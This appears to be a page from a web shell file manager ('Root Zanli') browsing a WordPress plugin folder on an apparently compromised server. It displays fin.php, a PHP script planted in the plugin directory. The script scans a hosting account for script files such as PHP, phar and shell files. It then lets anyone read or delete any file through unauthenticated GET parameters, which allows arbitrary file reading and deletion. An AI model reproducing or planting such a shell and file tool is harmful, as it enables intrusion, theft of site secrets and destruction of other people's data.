Root Zanli
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
o5t6x7pgljbm
/
public_html
/
wp-content
/
plugins
/
wowkeren
/
pro
/
Filename :
fin.php
back
Copy
<?php session_start(); // Fungsi rekursif untuk memindai semua file di dalam folder dan subfolder function scanDirectory($dir, $dangerous_ext) { $dangerous_files = []; // Dapatkan semua file dan folder di dalam direktori $files = scandir($dir); foreach ($files as $file) { // Skip . dan .. if ($file == '.' || $file == '..') continue; $file_path = $dir . '/' . $file; $ext = pathinfo($file, PATHINFO_EXTENSION); // Jika file memiliki ekstensi berbahaya, tambahkan ke daftar if (in_array(strtolower($ext), $dangerous_ext) && is_file($file_path)) { $dangerous_files[] = $file_path; } // Jika folder, lakukan pemindaian rekursif if (is_dir($file_path)) { $dangerous_files = array_merge($dangerous_files, scanDirectory($file_path, $dangerous_ext)); } } return $dangerous_files; } // Daftar ekstensi yang dianggap berbahaya $dangerous_ext = ['php', 'phtml', 'php56', 'phar', 'pl', 'cgi', 'jsp', 'asp', 'aspx', 'exe', 'sh', 'php7', 'shtml', 'sh', 'phpx', 'pht', 'fla', 'phpt']; // Set folder untuk dipindai $dir_to_scan = '/home/hmtmtuedu/public_html/'; // Menangani aksi melihat atau menghapus file if (isset($_GET['view'])) { $file_to_view = $_GET['view']; if (file_exists($file_to_view)) { $file_contents = file_get_contents($file_to_view); echo "<h3>Isi file: $file_to_view</h3>"; echo "<pre>" . htmlspecialchars($file_contents) . "</pre>"; echo "<br><a href='?delete=$file_to_view'>Hapus file ini</a><br><br>"; } } elseif (isset($_GET['delete'])) { $file_to_delete = $_GET['delete']; if (file_exists($file_to_delete)) { unlink($file_to_delete); echo "File $file_to_delete berhasil dihapus.<br><br>"; } } // Memindai direktori dan subfolder untuk mencari file berbahaya $dangerous_files = scanDirectory($dir_to_scan, $dangerous_ext); // Menampilkan hasil pemindaian if (count($dangerous_files) > 0) { echo "<h3>Daftar file berbahaya (dengan ekstensi .php, .phtml, .php56, phar, dll):</h3>"; echo "<ul>"; foreach ($dangerous_files as $dangerous_file) { echo "<li>"; echo basename($dangerous_file); echo " - <a href='?view=$dangerous_file'>Lihat isi</a>"; echo " | <a href='?delete=$dangerous_file'>Hapus file</a>"; echo "</li>"; } echo "</ul>"; } else { echo "<p>Tidak ada file berbahaya ditemukan.</p>"; } ?>